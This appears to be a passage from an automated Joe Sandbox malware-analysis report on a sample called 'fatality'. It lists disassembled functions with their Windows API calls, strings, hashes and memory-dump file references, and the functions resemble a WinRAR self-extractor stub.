<br>, xrefs: 00DF9DFE
<style>, xrefs: 00DF9E30
</style>, xrefs: 00DF9E52
</p>, xrefs: 00DF9DE8

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: _wcslen
String ID: </p>$</style>$<br>$<style>$>
API String ID: 176396367-3568243669
Opcode ID: b349088a46b1517e260081173f7b0bd982ca1f0e5038c2eb382a9bde07a673bd
Instruction ID: 964c75f78bf4e8ff619c8560fa5a2e3e00cf229cd50ea9c804e17a4437bd4544
Opcode Fuzzy Hash: b349088a46b1517e260081173f7b0bd982ca1f0e5038c2eb382a9bde07a673bd
Instruction Fuzzy Hash: 4151D566E4132A95DB309A259C31776F3E4DFA1750F6EC42AFBC19B2C0FB658C818271

Function 00E02900 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00E02937
___except_validate_context_record.LIBVCRUNTIME ref: 00E0293F
_ValidateLocalCookies.LIBCMT ref: 00E029C8
__IsNonwritableInCurrentImage.LIBCMT ref: 00E029F3
_ValidateLocalCookies.LIBCMT ref: 00E02A48

Strings

csm, xrefs: 00E029DD

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 3990cf47e4ddea7e7ee314490b44e232410c77fc6b1d5872539660ffd756b968
Instruction ID: f7e1a960f837755cfcb0f6258cc74b065782aea1981d7907611550ba4bf8d7c5
Opcode Fuzzy Hash: 3990cf47e4ddea7e7ee314490b44e232410c77fc6b1d5872539660ffd756b968
Instruction Fuzzy Hash: 1041D434A00208AFCF14DF68C889ADEBBF5AF84328F149159E9157B3D2D7319A85CB90

Function 00DF9ED5 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000), ref: 00DF9EEE
GetWindowRect.USER32(?,00000000), ref: 00DF9F44
ShowWindow.USER32(?,00000005,00000000), ref: 00DF9FDB
SetWindowTextW.USER32(?,00000000), ref: 00DF9FE3
ShowWindow.USER32(00000000,00000005), ref: 00DF9FF9

Strings

RarHtmlClassName, xrefs: 00DF9FA5

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: Window$Show$RectText
String ID: RarHtmlClassName
API String ID: 3937224194-1658105358
Opcode ID: 3530b7c5c96ab671db133af0515038e23e6cf2fb76a833e1e3a25ec7f9fc8336
Instruction ID: 95836e03847abb1ced75751c69a5ef756c4a3c8135dad1405ba5436215ac3191
Opcode Fuzzy Hash: 3530b7c5c96ab671db133af0515038e23e6cf2fb76a833e1e3a25ec7f9fc8336
Instruction Fuzzy Hash: C1410271405314AFCB215F75EC48F2BBBA8FF48301F098558FA4AA9156CB30E94ACB71

Function 00DF9955 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 106COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00DF995E
_wcslen.LIBCMT ref: 00DF9993

Strings

 , xrefs: 00DF9A21
<br>, xrefs: 00DF99DF
<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 00DF9987
, xrefs: 00DF99B0

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: _wcslen
String ID: $ $<br>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 176396367-3743748572
Opcode ID: a0d926bc4958fdbc2c3ac799a18a8658d3a41d83ada143b0197522e33c2f7805
Instruction ID: 7564487e82f5bd1a5ee976a5118c0f433fd1b534e5bff1fb2a4af18ebfac960a
Opcode Fuzzy Hash: a0d926bc4958fdbc2c3ac799a18a8658d3a41d83ada143b0197522e33c2f7805
Instruction Fuzzy Hash: DA319072E4434956D630AB549C12B76F3E4EB90320F55C41FF682572C0FBA1ADD183B1

Function 00E0C8A4 Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00E0C868: _free.LIBCMT ref: 00E0C891

_free.LIBCMT ref: 00E0C8F2

Part of subcall function 00E08DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00E08E7A,?,00000004,00000000,?,00E0C007,?,00000004,00000000,?,?,?,00E08716), ref: 00E08DE2

_free.LIBCMT ref: 00E0C8FD
_free.LIBCMT ref: 00E0C908
_free.LIBCMT ref: 00E0C95C
_free.LIBCMT ref: 00E0C967
_free.LIBCMT ref: 00E0C972
_free.LIBCMT ref: 00E0C97D

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: _free$FreeHeap
String ID:
API String ID: 2929853658-0
Opcode ID: 90a536f42c5fb1171bced7071daeac01f4ec5bd236f9beb4dbb4f36b20ef5980
Instruction ID: 8e10f35ed3343a3394b9c16a458f6938fdc32005fe27ed166d80cbc177edf3cf
Opcode Fuzzy Hash: 90a536f42c5fb1171bced7071daeac01f4ec5bd236f9beb4dbb4f36b20ef5980
Instruction Fuzzy Hash: B0114F71590B06AAE520B7B1DC07FCB7BEC9F00B00F509E15F2DD760D2DA65B5858760

Function 00DEC0C5 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 00DF05DA: _wcslen.LIBCMT ref: 00DF05E0

Part of subcall function 00DEB92D: _wcsrchr.LIBVCRUNTIME ref: 00DEB944

_wcslen.LIBCMT ref: 00DEC197
_wcslen.LIBCMT ref: 00DEC1DF

Strings

.exe, xrefs: 00DEC10B
.rar, xrefs: 00DEC0E1, 00DEC134
.sfx, xrefs: 00DEC11A

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: _wcslen$_wcsrchr
String ID: .exe$.rar$.sfx
API String ID: 3513545583-31770016
Opcode ID: 7d8a0dc6f26e58f5a29188198f705665e3d2fba03db8194481d18abec6a045dd
Instruction ID: 6969a285bfbd6e95321885b5a49da3eac966515b6be1369c0f2014822573a4c5
Opcode Fuzzy Hash: 7d8a0dc6f26e58f5a29188198f705665e3d2fba03db8194481d18abec6a045dd
Instruction Fuzzy Hash: 9D415B225203D595C731BF359802A7BB7A8EF41754F18690EFAC16B182E7509D83C375

Function 00DFCE87 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

Part of subcall function 00DEB690: _wcslen.LIBCMT ref: 00DEB696

_swprintf.LIBCMT ref: 00DFCED1
SetDlgItemTextW.USER32(?,00000066,00E2946A), ref: 00DFCEF1
_wcschr.LIBVCRUNTIME ref: 00DFCF22
EndDialog.USER32(?,00000001), ref: 00DFCFFE

Strings

%s%s%u, xrefs: 00DFCEC6

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: DialogItemText_swprintf_wcschr_wcslen
String ID: %s%s%u
API String ID: 1599705190-1360425832
Opcode ID: 958208e5eba2fec0fb0b86beff1b48a57ee9c8b1fd3f3a83b8795d25bec0699b
Instruction ID: a3981e7f37d99b381d11e1031e39fba3daae08580ab71986bc526b902fee96d9
Opcode Fuzzy Hash: 958208e5eba2fec0fb0b86beff1b48a57ee9c8b1fd3f3a83b8795d25bec0699b
Instruction Fuzzy Hash: F84181B190025DAADF21AB61DC45AFA77FDEF05300F45C0A6FB09E7041EA719A858F71

Function 00DFCD58 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 103COMMON

Download Yara Rule

APIs

_wcschr.LIBVCRUNTIME ref: 00DFCD84

Part of subcall function 00DFAF98: _wcschr.LIBVCRUNTIME ref: 00DFB033

Strings

MIN, xrefs: 00DFCDF5
MAX, xrefs: 00DFCDD9
HIDE, xrefs: 00DFCDC6
<, xrefs: 00DFCD68

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: _wcschr
String ID: <$HIDE$MAX$MIN
API String ID: 2691759472-3358265660
Opcode ID: 390837f784861457f3720f923df42f2b6e6323e355186218830afb9acb657b1d
Instruction ID: 6fcd3ce8c3bc9c61f747266d53ed69ea6e001441972a039d98b2e17a3ad8021e
Opcode Fuzzy Hash: 390837f784861457f3720f923df42f2b6e6323e355186218830afb9acb657b1d
Instruction Fuzzy Hash: 4A316B7290020DAADB25DB64CC41AFEB3BDEF14350F45C166FA05E7180EBB09A848FB1

Function 00DFB270 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 00DE1316: GetDlgItem.USER32(00000000,00003021), ref: 00DE135A
Part of subcall function 00DE1316: SetWindowTextW.USER32(00000000,00E135F4), ref: 00DE1370

EndDialog.USER32(?,00000001), ref: 00DFB2BE
GetDlgItemTextW.USER32(?,00000066,?,00000080), ref: 00DFB2D6
SetDlgItemTextW.USER32(?,00000067,?), ref: 00DFB304

Strings

xz, xrefs: 00DFB2E2
GETPASSWORD1, xrefs: 00DFB289

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1$xz
API String ID: 445417207-3234807970
Opcode ID: d60bb1ff03acfda105061cd12247bfee8a877c98edcc3bd34604d86de1b31c86
Instruction ID: ecd3385cfc78f0773eb5168d62d89c0231cb6f27448aded9553955cc06ae27fd
Opcode Fuzzy Hash: d60bb1ff03acfda105061cd12247bfee8a877c98edcc3bd34604d86de1b31c86
Instruction Fuzzy Hash: 7C11E532A40118BADB219AB5DC49FFE376CEB5A760F158022FB85B2080C7A0D9459771

Function 00DEB991 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00DEB9B8
_wcschr.LIBVCRUNTIME ref: 00DEB9D6
_wcschr.LIBVCRUNTIME ref: 00DEB9E6

Strings

%c:\, xrefs: 00DEB9AE

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: _wcschr$_swprintf
String ID: %c:\
API String ID: 437864020-3142399695
Opcode ID: 35c392ca7cbeddb5cb78bfd73e57b347b065669a2e2465acee47472c50901e83
Instruction ID: 26bdad5f6e687fa88df9cb87996f7f3c613ea70e07d80d32f716bf5ca4a53e06
Opcode Fuzzy Hash: 35c392ca7cbeddb5cb78bfd73e57b347b065669a2e2465acee47472c50901e83
Instruction Fuzzy Hash: BB01456310035169DA317B768C46D7BA7ECEE81370B54541FF584E2082EB20E88082B1

Function 00DFB6DD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

LoadBitmapW.USER32(00000065), ref: 00DFB6ED
GetObjectW.GDI32(00000000,00000018,?), ref: 00DFB712
DeleteObject.GDI32(00000000), ref: 00DFB744
DeleteObject.GDI32(00000000), ref: 00DFB767

Part of subcall function 00DFA6C2: CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 00DFA762

Strings

], xrefs: 00DFB71A

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: Object$Delete$BitmapCreateGlobalLoadStream
String ID: ]
API String ID: 3658976889-3352871620
Opcode ID: 4c65e8ee8e24ef2bc39f77f46b451199846aead58d6f5971ed73a831e8cc223b
Instruction ID: ab34aa98d6efad3b99480e65fd6e3f78562b7c91a22fb97177597a38228de6da
Opcode Fuzzy Hash: 4c65e8ee8e24ef2bc39f77f46b451199846aead58d6f5971ed73a831e8cc223b
Instruction Fuzzy Hash: AB012676500619ABC71277789C09A7F7AB9DFC1762F1F8112FB04B7291DF618D0A4271

Function 00DFD600 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00DE1316: GetDlgItem.USER32(00000000,00003021), ref: 00DE135A
Part of subcall function 00DE1316: SetWindowTextW.USER32(00000000,00E135F4), ref: 00DE1370

EndDialog.USER32(?,00000001), ref: 00DFD64B
GetDlgItemTextW.USER32(?,00000068,00000800), ref: 00DFD661
SetDlgItemTextW.USER32(?,00000066,?), ref: 00DFD675
SetDlgItemTextW.USER32(?,00000068), ref: 00DFD684

Strings

RENAMEDLG, xrefs: 00DFD618

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: b818a33ddd86516d5ad9b6429b58a53696ca369c1a825d4e566d064eacaeed6b
Instruction ID: 5ab2b2ae6b242c13a9f47620680e7b7da916b555bc9b777d7c6d0c64824cc0f3
Opcode Fuzzy Hash: b818a33ddd86516d5ad9b6429b58a53696ca369c1a825d4e566d064eacaeed6b
Instruction Fuzzy Hash: A301F53368521CBED2105F769D09FB67B5FEB9BB01F228110F345F2090C6A29A098779

Function 00E02BDA Relevance: 7.7, APIs: 5, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00E02CA1
___AdjustPointer.LIBCMT ref: 00E02CC4
_abort.LIBCMT ref: 00E02D12
___AdjustPointer.LIBCMT ref: 00E02D60

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
